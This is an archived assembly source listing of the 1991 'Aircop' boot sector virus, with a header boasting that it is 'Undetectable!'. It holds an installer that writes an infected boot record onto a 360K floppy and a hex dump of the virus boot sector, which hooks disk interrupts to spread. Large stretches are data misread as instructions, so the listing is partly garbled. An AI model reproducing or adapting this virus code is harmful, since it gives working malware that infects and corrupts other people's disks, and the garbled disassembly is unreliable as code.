home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / AIRCOP.ASM < prev    next >
Assembly Source File  |  1991-08-09  |  13KB  |  468 lines
  1. ╒════════════════════════════════════════════════════╕
  2. │ Aircop Virus (c)RABiD Source Code                  │
  3. │ Ripped by : The Head Hunter [FïS]                  │
  4. │                                                    │
  5. │ Seem's this baby only work on Bare 360k Drive      │
  6. │ System. Neat Anywayz. And it's Undetectable!       │
  7. │                                                    │
  8. │                                                    │
  9. ╘════════════════════════════════════════════════════╛
  10.   MOV    AX, CS
  11.   MOV    DS, AX
  12.   MOV    SP, 03b6h
  13.   MOV    AH, 00h
  14.   MOV    AL, 03h
  15.   INT    10h        ;Set video mode
  16.   MOV    DX, 052bh
  17.   MOV    AH, 09h
  18.   INT    21h        ;"AIRCOP Test Version"
  19.   MOV    DX, 03c3h
  20.   MOV    AH, 09h
  21.   INT    21h        ;"
  22.  
  23.   MOV    DX, 04e5h
  24.   MOV    AH, 09h
  25.   INT    21h        ;"Aircop Virus$Cannot"
  26.   MOV    DX, 0464h
  27.   MOV    AH, 09h
  28.   INT    21h        ;"" into your 360K di"
  29.   MOV    DX, 0480h
  30.   MOV    AH, 09h
  31.   INT    21h        ;"Put a 360K (Blank F"
  32.   MOV    AX, 0040h
  33.   MOV    ES, AX
  34.  
  35.   PUSH   WORD PTR ES:[Data5]
  36.  
  37.   POP    WORD PTR ES:[Data6]
  38.   MOV    AX, CS
  39.   MOV    ES, AX
  40.   MOV    AH, 08h
  41.   INT    21h        ;Get char w/o echo
  42.   MOV    CX, 0003h
  43.   PUSH   CX
  44.   MOV    AX, 0201h
  45.   MOV    BX, 05d0h
  46.   MOV    CX, 0001h
  47.   MOV    DX, 0000h
  48.   INT    13h        ;Read disk sectors
  49.   POP    CX
  50.   JNB    Jmp0
  51.   LOOP   Data7
  52.   MOV    DX, 04f2h
  53.   MOV    AH, 09h
  54.   INT    21h        ;"Cannot read boot re"
  55.   MOV    AX, 4cffh
  56.   INT    21h        ;Exit
  57.  
  58.   XOR    WORD PTR CS:[BP+Data17], 7420h
  59.   PUSH   CX
  60.   MOV    AX, 0301h
  61.   MOV    BX, 05d0h
  62.   MOV    CX, 2709h
  63.   MOV    DX, 0100h
  64.   INT    13h        ;Write disk sectors
  65.   POP    CX
  66.   JNB    Jmp4
  67.   LOOP   Data18
  68.   MOV    DX, 050eh
  69.   MOV    AH, 09h
  70.   INT    21h        ;"Cannot write boot r"
  71.   MOV    AX, 4cffh
  72.   INT    21h        ;Exit
  73.  
  74.   MOV    CX, 0003h
  75.   PUSH   CX
  76.   MOV    AX, 0301h
  77.   MOV    BX, 07d0h
  78.   MOV    CX, 0001h
  79.   MOV    DX, 0000h
  80.   INT    13h        ;Write disk sectors
  81.   POP    CX
  82.   JNB    Jmp5
  83.   LOOP   Data20
  84.   MOV    DX, 057ch
  85.   MOV    AH, 09h
  86.   INT    21h        ;"Cannot write virus "
  87.   MOV    AX, 4cffh
  88.   INT    21h        ;Exit
  89.  
  90.   MOV    DX, 04e5h
  91.   MOV    AH, 09h
  92.   INT    21h        ;"Aircop Virus$Cannot"
  93.   MOV    DX, 059eh
  94.   MOV    AH, 09h
  95.   INT    21h        ;" was installed into"
  96.   MOV    AX, 4c00h
  97.   INT    21h        ;Exit
  98.   db     'STACK   STACK   STAC'
  99.   db     'K   STACK   STACK   '
  100.   db     'STACK   STACK   STAC'
  101.   db     'K   STACK   STACK   '
  102.   db     'STACK   STACK   STAC'
  103.   db     'K   STACK   STACK   '
  104.   db     'STACK   STACK  '
  105.   AND    BYTE PTR [BP+DI+Data9], DL
  106.   INC    CX
  107.   INC    BX
  108.   DEC    BX
  109.   AND    BYTE PTR [BX+SI], AH
  110.   AND    BYTE PTR [BP+DI+Data9], DL
  111.   INC    CX
  112.   INC    BX
  113.   DEC    BX
  114.   AND    BYTE PTR [BX+SI], AH
  115.   AND    BYTE PTR [BP+DI+Data9], DL
  116.   INC    CX
  117.   INC    BX
  118.   DEC    BX
  119.   AND    BYTE PTR [BX+SI], AH
  120.   AND    BYTE PTR [BP+DI+Data9], DL
  121.   INC    CX
  122.   INC    BX
  123.   DEC    BX
  124.   AND    BYTE PTR [BX+SI], AH
  125.   AND    BYTE PTR [BP+DI+Data9], DL
  126.   INC    CX
  127.   INC    BX
  128.   DEC    BX
  129.   AND    BYTE PTR [BX+SI], AH
  130.   AND    BYTE PTR [BP+DI+Data9], DL
  131.   INC    CX
  132.   INC    BX
  133.   DEC    BX
  134.   AND    BYTE PTR [BX+SI], AH
  135.   AND    BYTE PTR [BP+DI+Data9], DL
  136.   INC    CX
  137.   INC    BX
  138.   DEC    BX
  139.   AND    BYTE PTR [BX+SI], AH
  140.   AND    BYTE PTR [BP+DI+Data9], DL
  141.   INC    CX
  142.   INC    BX
  143.   DEC    BX
  144.   AND    BYTE PTR [BX+SI], AH
  145.   AND    BYTE PTR [BP+DI+Data9], DL
  146.   INC    CX
  147.   INC    BX
  148.   DEC    BX
  149.   AND    BYTE PTR [BX+SI], AH
  150.   AND    BYTE PTR [BP+DI+Data9], DL
  151.   INC    CX
  152.   INC    BX
  153.   DEC    BX
  154.   AND    BYTE PTR [BX+SI], AH
  155.   AND    BYTE PTR [BP+DI+Data9], DL
  156.   INC    CX
  157.   INC    BX
  158.   DEC    BX
  159.   AND    BYTE PTR [BX+SI], AH
  160.   AND    BYTE PTR [BP+DI+Data9], DL
  161.   INC    CX
  162.   INC    BX
  163.   DEC    BX
  164.   AND    BYTE PTR [BX+SI], AH
  165.   AND    BYTE PTR [BP+DI+Data9], DL
  166.   INC    CX
  167.   INC    BX
  168.   DEC    BX
  169.   AND    BYTE PTR [BX+SI], AH
  170.   AND    BYTE PTR [BP+DI+Data9], DL
  171.   INC    CX
  172.   INC    BX
  173.   DEC    BX
  174.   AND    BYTE PTR [BX+SI], AH
  175.   AND    BYTE PTR [BP+DI+Data9], DL
  176.   INC    CX
  177.   INC    BX
  178.   DEC    BX
  179.   AND    BYTE PTR [BX+SI], AH
  180.   AND    BYTE PTR [BP+DI+Data9], DL
  181.   INC    CX
  182.   INC    BX
  183.   DEC    BX
  184.   AND    BYTE PTR [BX+SI], AH
  185.   AND    BYTE PTR [BP+DI+Data9], DL
  186.   INC    CX
  187.   INC    BX
  188.   DEC    BX
  189.   AND    BYTE PTR [BX+SI], AH
  190.   AND    BYTE PTR [BP+DI+Data9], DL
  191.   INC    CX
  192.   INC    BX
  193.   DEC    BX
  194.   AND    BYTE PTR [BX+SI], AH
  195.   AND    BYTE PTR [BP+DI+Data9], DL
  196.   INC    CX
  197.   INC    BX
  198.   DEC    BX
  199.   AND    BYTE PTR [BX+SI], AH
  200.   AND    BYTE PTR [BP+DI+Data9], DL
  201.   INC    CX
  202.   INC    BX
  203.   DEC    BX
  204.   AND    BYTE PTR [BX+SI], AH
  205.   AND    BYTE PTR [BP+DI+Data9], DL
  206.   INC    CX
  207.   INC    BX
  208.   DEC    BX
  209.   AND    BYTE PTR [BX+SI], AH
  210.   AND    BYTE PTR [BP+DI+Data9], DL
  211.   INC    CX
  212.   INC    BX
  213.   DEC    BX
  214.   AND    BYTE PTR [BX+SI], AH
  215.   AND    BYTE PTR [BP+DI+Data9], DL
  216.   INC    CX
  217.   INC    BX
  218.   DEC    BX
  219.   AND    BYTE PTR [BX+SI], AH
  220.   AND    BYTE PTR [BP+DI+Data9], DL
  221.   INC    CX
  222.   INC    BX
  223.   DEC    BX
  224.   AND    BYTE PTR [BX+SI], AH
  225.   AND    BYTE PTR [BP+DI+Data9], DL
  226.   INC    CX
  227.   INC    BX
  228.   DEC    BX
  229.   AND    BYTE PTR [BX+SI], AH
  230.   AND    BYTE PTR [BP+DI+Data9], DL
  231.   INC    CX
  232.   INC    BX
  233.   DEC    BX
  234.   AND    BYTE PTR [BX+SI], AH
  235.   AND    BYTE PTR [BP+DI+Data9], DL
  236.   INC    CX
  237.   INC    BX
  238.   DEC    BX
  239.   AND    BYTE PTR [BX+SI], AH
  240.   AND    BYTE PTR [BP+DI+Data9], DL
  241.   INC    CX
  242.   INC    BX
  243.   DEC    BX
  244.   AND    BYTE PTR [BX+SI], AH
  245.   AND    BYTE PTR [BP+DI+Data9], DL
  246.   INC    CX
  247.   INC    BX
  248.   DEC    BX
  249.   AND    BYTE PTR [BX+SI], AH
  250.   AND    BYTE PTR [BP+DI+Data9], DL
  251.   INC    CX
  252.   INC    BX
  253.   DEC    BX
  254.   AND    BYTE PTR [BX+SI], AH
  255.   AND    BYTE PTR [BP+DI+Data9], DL
  256.   INC    CX
  257.   INC    BX
  258.   DEC    BX
  259.   AND    BYTE PTR [BX+SI], AH
  260.   AND    BYTE PTR [BP+DI+Data9], DL
  261.   INC    CX
  262.   INC    BX
  263.   DEC    BX
  264.   AND    BYTE PTR [BX+SI], AH
  265.   AND    BYTE PTR [BP+DI+Data9], DL
  266.   INC    CX
  267.   INC    BX
  268.   DEC    BX
  269.   AND    BYTE PTR [BX+SI], AH
  270.   AND    BYTE PTR [BP+DI+Data9], DL
  271.   INC    CX
  272.   INC    BX
  273.   DEC    BX
  274.   AND    BYTE PTR [BX+SI], AH
  275.   AND    BYTE PTR [BP+DI+Data9], DL
  276.   INC    CX
  277.   INC    BX
  278.   DEC    BX
  279.   AND    BYTE PTR [BX+SI], AH
  280.   AND    BYTE PTR [BP+DI+Data9], DL
  281.   INC    CX
  282.   INC    BX
  283.   DEC    BX
  284.   AND    BYTE PTR [BX+SI], AH
  285.   AND    BYTE PTR [BP+DI+Data9], DL
  286.   INC    CX
  287.   INC    BX
  288.   DEC    BX
  289.   AND    BYTE PTR [BX+SI], AH
  290.   AND    BYTE PTR [BP+DI+Data9], DL
  291.   INC    CX
  292.   INC    BX
  293.   DEC    BX
  294.   AND    BYTE PTR [BX+SI], AH
  295.   AND    BYTE PTR [BP+DI+Data9], DL
  296.   INC    CX
  297.   INC    BX
  298.   DEC    BX
  299.   AND    BYTE PTR [BX+SI], AH
  300.   AND    BYTE PTR [BP+DI+Data9], DL
  301.   INC    CX
  302.   INC    BX
  303.   DEC    BX
  304.   AND    BYTE PTR [BX+SI], AH
  305.   AND    BYTE PTR [BP+DI+Data9], DL
  306.   INC    CX
  307.   INC    BX
  308.   DEC    BX
  309.   AND    BYTE PTR [BX+SI], AH
  310.   AND    BYTE PTR [BP+DI+Data9], DL
  311.   INC    CX
  312.   INC    BX
  313.   DEC    BX
  314.   AND    BYTE PTR [BX+SI], AH
  315.   AND    BYTE PTR [BP+DI+Data9], DL
  316.   INC    CX
  317.   INC    BX
  318.   DEC    BX
  319.   AND    BYTE PTR [BX+SI], AH
  320.   AND    BYTE PTR [BP+DI+Data9], DL
  321.   INC    CX
  322.   INC    BX
  323.   DEC    BX
  324.   AND    BYTE PTR [BX+SI], AH
  325.   AND    BYTE PTR [BP+DI+Data9], DL
  326.   INC    CX
  327.   INC    BX
  328.   DEC    BX
  329.   AND    BYTE PTR [BX+SI], AH
  330.   AND    BYTE PTR [BP+DI+Data9], DL
  331.   INC    CX
  332.   INC    BX
  333.   DEC    BX
  334.   AND    BYTE PTR [BX+SI], AH
  335.   AND    BYTE PTR [BP+DI+Data9], DL
  336.   INC    CX
  337.   INC    BX
  338.   DEC    BX
  339.   AND    BYTE PTR [BX+SI], AH
  340.   AND    BYTE PTR [DI], CL
  341.  
  342.   OR     AL, BYTE PTR [BX+DI+Data11]
  343.   JZ     Jmp1
  344.   OUTSB
  345.   JZ     Jmp2
  346.   OUTSW
  347.   OUTSB
  348.   CMP    AH, BYTE PTR [BX+SI]
  349.   PUSH   SP
  350.   PUSH   BYTE PTR [BX+DI+Data12], 7620h
  351.   db     'irus sample uses onl'
  352.   db     'y in research teams.'
  353.   db     0d,0a
  354.   db     '           Please do'
  355.   db     ' not use in joking o'
  356.   db     'r setting tra'
  357.  
  358.   XOR    WORD PTR CS:[BX+SI], 6e69h
  359.  
  360.   XOR    WORD PTR CS:[BP+SI+Data13], 2073h
  361.   OUTSW
  362.   OUTSB
  363.   AND    BYTE PTR [BP+DI+Data14], DH
  364.   INSW
  365.   db     'eone.'
  366.   db     0d,0a,0d,0a
  367.   db     'Warning! This file i'
  368.  
  369.   XOR    WORD PTR CS:[BX+Data15], 2e65h
  370.   db     'nstalls "$" into you'
  371.  
  372.   db     'r 360K disk!'
  373.   db     0d,0a,0d,0a,07
  374.   db     '$Put a 360K (Blank F'
  375.  
  376.   db     'ormatted) disk into '
  377.   db     'drive A:'
  378.   db     0d,0a
  379.   db     'Strike any key to in'
  380.   db     'stall, or CTRL-BREAK'
  381.   db     ' to quit.'
  382.   db     0d,0a
  383.   db     '$Aircop Virus$Cannot'
  384.  
  385.  
  386.   db     ' read boot record.'
  387.   db     0d,0a,07
  388.   db     '$Cannot write boot r'
  389.  
  390.   db     'ecord.'
  391.   db     0d,0a,07
  392.   db     '$AIRCOP Test Version'
  393.  
  394.   db     ': Property of The RA'
  395.   db     'BID Nat'nl Developme'
  396.   db     'nt Corp. '91'
  397.   db     0d,0a,20,24,0d,0a,0d,0a,0d,0a
  398.  
  399.   db     'Cannot write virus b'
  400.   db     'oot record'
  401.   db     0d,0a,07
  402.   db     '$ was installed into'
  403.  
  404.   db     ' this 360K disk. BE '
  405.   db     'CAREFUL!'
  406.   db     0d,0a,24,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
  407.   db     00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
  408.   db     00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
  409.   db     00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
  410.   db     00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
  411.   db     00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
  412.   db     00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
  413.   db     00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
  414.   db     00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
  415.   db     00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
  416.   db     00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
  417.   db     00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
  418.   db     00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
  419.   db     00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
  420.   db     00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
  421.   db     00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
  422.   db     00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
  423.   db     00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
  424.   db     00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
  425.   db     00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
  426.   db     00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
  427.   db     00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
  428.   db     00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
  429.   db     00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
  430.   db     00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
  431.   db     00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,eb,34,90,49,42
  432.   db     'M  3.3'
  433.   db     00,02,02,01,00,02,70,00,d0,02,fd,02,00,09,00,02,00,00,00,00
  434.   db     00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,12,00,00,00
  435.   db     00,01,00,fa,33,c0,8e,d8,8e,d0,bb,00,7c,8b,e3,1e,53,ff,0e,13
  436.   db     04,cd,12,b1,06,d3,e0,8e,c0,87,06,4e,00,a3,ab,7d,b8,28,01,87
  437.   db     06,4c,00,a3,a9,7d,8c,c0,87,06,66,00,a3,af,7d,b8,bb,00,87,06
  438.   db     64,00,a3,ad,7d,33,ff,8b,f3,b9,00,01,fc,f3,a5,fb,06,b8,85,00
  439.   db     50,cb,53,32,d2,e8,70,00,5b,1e,07,b4,02,b6,01,e8,8a,00,72,10
  440.   db     0e,1f,be,0b,00,bf,0b,7c,b9,2b,00,fc,f3,a6,74,07,5b,58,0e,b8
  441.   db     af,00,50,cb,0e,1f,be,db,01,e8,23,00,32,e4,cd,16,33,c0,cd,13
  442.   db     0e,07,bb,0d,02,b9,06,00,33,d2,b8,01,02,cd,13,72,df,b9,f0,0f
  443.   db     8e,d9,2e,ff,2e,ad,01,bb,07,00,fc,ac,0a,c0,74,44,79,05,34,d7
  444.   db     80,cb,88,3c,20,76,07,b9,01,00,b4,09,cd,10,b4,0e,cd,10,eb,df
  445.   db     bb,00,02,b9,02,00,8a,e1,e8,17,00,b9,09,27,26,80,37,fd,74,03
  446.   db     b9,0f,4f,eb,13,90,b4,02,bb,00,02,b9,01,00,b6,00,b0,01,9c,2e
  447.   db     ff,1e,a9,01,c3,50,53,51,52,06,1e,56,57,9c,0e,1f,80,fa,01,77
  448.   db     54,25,00,fe,74,4f,86,c5,d0,e0,02,c6,b4,09,f6,e4,03,c1,2c,06
  449.   db     3d,06,00,77,3c,0e,07,e8,c0,ff,72,30,bf,43,00,be,50,02,b9,0e
  450.   db     00,fd,f3,a6,74,27,2b,f1,2b,f9,b1,33,f3,a4,e8,8b,ff,51,53,e8
  451.   db     a0,ff,b4,03,33,db,e8,9e,ff,5b,59,72,07,b6,01,b4,03,e8,98,ff
  452.   db     33,c0,e8,95,ff,b4,04,cd,1a,80,fe,09,75,06,be,b1,01,e8,3f,ff
  453.   db     9d,5f,5e,1f,07
  454.   db     'ZY[X.'
  455.   db     ff,2e,a9,01,59,ec,02,c6,f2,e6,00,f0,da,dd,20,83,bf,be,a4,f7
  456.   db     be,a4,f7,96,be,a5,b4,b8,a7,da,dd,00
  457.   db     'IO      SYSMSDOS   S'
  458.   db     59,53,0d,0a
  459.   db     'Non-system disk or d'
  460.   db     'isk error'
  461.   db     0d,0a,00,00,55,aa
  462.  
  463.  
  464.  
  465.  
  466.  
  467.  
  468.